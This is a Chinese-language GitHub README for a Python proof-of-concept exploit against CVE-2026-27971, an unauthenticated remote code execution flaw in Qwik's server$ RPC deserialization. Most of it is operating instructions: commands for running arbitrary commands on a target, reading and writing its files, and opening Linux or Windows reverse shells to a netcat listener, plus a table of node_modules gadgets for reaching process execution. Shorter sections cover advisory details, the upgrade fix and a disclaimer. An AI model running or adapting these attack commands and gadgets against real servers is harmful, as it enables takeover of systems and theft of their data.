Ghalendar/CVE-2026-27971_POC
GitHub: Ghalendar/CVE-2026-27971_POC
针对 Qwik 框架 server$ 反序列化未授权 RCE 漏洞(CVE-2026-27971)的 Python 概念验证利用工具,支持命令执行、文件读写及反弹 shell。
Stars: 0 | Forks: 0
# CVE-2026-27971 — Qwik `server$` 未授权 RCE PoC
一个独立的 Python 概念验证,用于 **CVE-2026-27971** / **GHSA-p9x5-jp3h-96mm**,这是 Qwik `server$` RPC 反序列化机制中的一个未授权远程代码执行漏洞。
该 PoC 可以执行主动标记探测、执行命令、读取或写入文本文件,并请求 Linux 或 Windows 目标的反弹 shell。它仅使用 Python 标准库。
## 漏洞概述
| 字段 | 值 |
|---|---|
| 产品 | Qwik — npm 包 `@builder.io/qwik` |
| 受影响版本 | `<= 1.19.0` |
| 修复版本 | `1.19.1` |
| 漏洞 | 通过不安全的 `server$` 反序列化实现未授权远程代码执行 |
| 运行时条件 | 运行时必须可用 `require()` |
| CWE | CWE-502 — 不可信数据反序列化 |
| 严重程度 | 严重 — CVSS 4.0: 9.2 |
| 向量 | `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` |
精心构造的 `application/qwik-json` 请求可以引用服务端模块和导出的符号。存在漏洞的 Qwik 版本可能会在运行时通过 `require()` 解析未注册的 QRL,并在未经身份验证的情况下调用它。该 PoC 尝试访问目标 `node_modules` 中已存在的兼容进程执行导出。
## 环境要求
操作端:
- Python 3。
- 访问处理 `server$`/Qwik JSON 请求的确切 Qwik 路由的网络权限。
- 在测试反弹 shell 功能时,需要侦听器能够从目标访问。
目标端:
- 使用 `@builder.io/qwik <= 1.19.0` 的存在漏洞的 Qwik 部署。
- `require()` 可用的运行时。
- 在 `node_modules` 中可用的兼容 gadget 模块和导出。
- 服务进程 `PATH` 中可用的 `node`。
- 用于请求的命令或文件操作的足够的服务账户权限。
不需要第三方 Python 包。
## 快速开始
```
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
```
列出内置 gadget 而不发送请求:
```
python3 exploit_combat.py --list-gadgets
```
运行主动标记探测并尝试每个内置 gadget:
```
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
```
## 用法示例
执行命令:
```
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
```
读取 UTF-8 文本文件:
```
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
```
写入并验证 UTF-8 文本文件:
```
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
```
在启动持久侦听器后请求反弹 shell:
```
nc -lvnp 4444
```
```
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
```
当自动 OS 检测不适用时,强制使用 Windows 反弹 shell payload:
```
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
```
脚本不会启动侦听器。`--callback` 预检查会在发送 shell payload 之前打开并关闭一个单独的 TCP 连接,因此请使用可以接受多个连接的侦听器。
## CLI 参考
| 选项 | 描述 |
|---|---|
| `-t URL`, `--target URL` | 确切的目标 URL。默认:`http://localhost:3000`。路由不会被自动发现。 |
| `--probe` | 主动执行标记 payload 并尝试进行 OS 检测。 |
| `-c CMD`, `--CMD CMD` | 通过 Node.js `child_process.execSync()` 执行命令。 |
| `--read PATH` | 使用 `fs.readFileSync()` 读取 UTF-8 文本文件。 |
| `--write PATH --content TEXT` | 写入文本文件,将其读回,并比较结果。不会创建父目录。 |
| `--list-gadgets` | 打印内置 gadget 名称并在不进行网络请求的情况下退出。 |
| `--lhost IP` | 启用反弹 shell 模式并设置回调地址。 |
| `--lport PORT` | 设置回调端口。默认:`4444`。 |
| `--rev-all` | 发送每个反弹 shell 变体,而不是在第一个 HTTP 请求被接受后停止。 |
| `--callback` | 在发送反弹 shell payload 之前测试出站 TCP 可达性。 |
| `--OS {auto,linux,windows}` | 选择反弹 shell payload 系列。默认:`auto`。 |
| `--gadget SPEC` | 使用 `auto`、内置名称或自定义 `#`。默认:`cross-spawn.sync`。 |
| `--arg-style {argv,command,shell}` | 自定义 `#` gadget 的参数风格。 |
| `--timeout SECONDS` | 客户端 HTTP 超时。默认:`30`。 |
| `--verify-ssl` | 启用 TLS 证书和主机名验证。默认禁用验证。 |
操作模式在解析器中不是互斥的。每次调用使用 `--probe`、`--CMD`、`--read`、`--write` 或 `--lhost` 之一。
## 内置 gadget
| 名称 | 模块和导出 | 风格 |
|---|---|---|
| `cross-spawn.sync` | `./node_modules/cross-spawn/index#sync` | `argv` |
| `cross-spawn.index-js` | `./node_modules/cross-spawn/index.js#sync` | `argv` |
| `execa.sync` | `./node_modules/execa/index#sync` | `argv` |
| `execa.index-js.sync` | `./node_modules/execa/index.js#sync` | `argv` |
| `execa.commandSync` | `./node_modules/execa/index#commandSync` | `command` |
| `execa.index-js.commandSync` | `./node_modules/execa/index.js#commandSync` | `command` |
| `node-cmd.runSync` | `./node_modules/node-cmd/cmd#runSync` | `shell` |
| `node-cmd.cmd-js.runSync` | `./node_modules/node-cmd/cmd.js#runSync` | `shell` |
`--gadget auto` 将按列出的顺序测试这些 gadget。可以按如下方式提供自定义 gadget:
```
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
```
## 重要限制
- 负探测**并不**证明目标已被修补。它可能表明路由不正确、缺少或不兼容的 gadget、网络/TLS 错误、过滤或不同的部署布局。
- 默认 gadget 是 `cross-spawn.sync`,而不是自动发现。当目标依赖布局未知时,请使用 `--gadget auto`。
- 该工具没有用于 cookie、授权头、代理或任意自定义头的选项。
- 文件操作面向文本。`--read` 期望 UTF-8,而 `--write` 不适用于二进制数据。
- 相对路径从 Qwik 进程工作目录解析。所有操作均使用 Qwik 服务账户的权限运行。
- 反弹 shell 成功消息表明 HTTP 请求已被接受;它们并不证明收到了回调。
- `--rev-all` 可能会在目标上启动多个进程或回调。仅在隔离的实验环境中使用它。
- 进程退出代码主要反映探测和传输处理,而不是远程命令的退出状态或是否存在正常工作的 shell。
- 该工具不识别已安装的 Qwik 版本,不应用作依赖项清单的替代品。
## 修复建议
将 `@builder.io/qwik` 升级到 **1.19.1 或更高版本**,更新 lockfile,重新构建应用程序,并重新部署所有服务端构建产物。仅仅移除兼容的 gadget 并不能完全修复底层的 Qwik 漏洞。
## 参考资料
- [Qwik 安全公告 — GHSA-p9x5-jp3h-96mm](https://github.com/QwikDev/qwik/security/advisories/GHSA-p9x5-jp3h-96mm)
- [GitHub 安全建议数据库 — CVE-2026-27971](https://github.com/advisories/GHSA-p9x5-jp3h-96mm)
- [已修复的 Qwik 1.19.1 版本](https://github.com/QwikDev/qwik/releases/tag/%40builder.io%2Fqwik%401.19.1)
- [上游修复提交](https://github.com/QwikDev/qwik/commit/cb568778560a26d439872fd50dbd2f48cd05408b)
- [CVE 记录](https://www.cve.org/CVERecord?id=CVE-2026-27971)
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2026-27971)
## 法律声明
本项目仅供安全研究、防御性验证和授权测试使用。未经明确许可,请勿将其用于任何系统。
标签:MITM代理, PoC, Python, Qwik, RCE, Web安全, 无后门, 暴力破解, 网络信息收集, 蓝队分析, 逆向工具